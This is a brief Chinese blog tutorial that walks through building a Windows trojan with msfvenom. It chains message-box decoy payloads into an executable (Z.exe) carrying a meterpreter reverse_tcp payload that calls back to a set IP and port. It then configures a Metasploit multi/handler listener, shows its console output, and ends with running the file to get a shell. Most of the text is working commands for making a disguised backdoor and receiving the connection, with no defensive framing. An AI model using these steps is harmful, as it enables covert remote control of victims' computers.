一:制作对话框

msfvenom -a x86 --platform windows -p windows/messagebox TEXT="bbskali.cn" -f raw > messageBox

请输入图片描述

-a:操作系统的类型 64位和32位

-p:指定攻击平台 windows

TEXT:对话框中显示的文字
-f:输出格式

二:制作二级标题

msfvenom -c messageBox -a x86 --platform windows -p windows/messagebox TEXT="blog.bbskali.cn" -f raw > messageBox2

请输入图片描述

三:将c++打包生成exe

msfvenom -c messageBox2 -a x86 --platform Windows -p 
windows/meterpreter/reverse_tcp LHOST=192.168.3.209 LPORT=5555 -f exe -o Z.exe

LHOST:本机ip地址
LPORT:端口
-o :生成文件
请输入图片描述

四:终端启动msfconsole并配置参数

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(multi/handler) > set LHOST 192.168.3.209
LHOST => 192.168.3.209
msf exploit(multi/handler) > set LPORT 5555
LPORT => 5555
msf exploit(multi/handler) > exploit

五:运行马儿

请输入图片描述

六:得到shell

请输入图片描述

666.png

最后修改:2023 年 08 月 04 日
如果觉得我的文章对你有用,请随意赞赏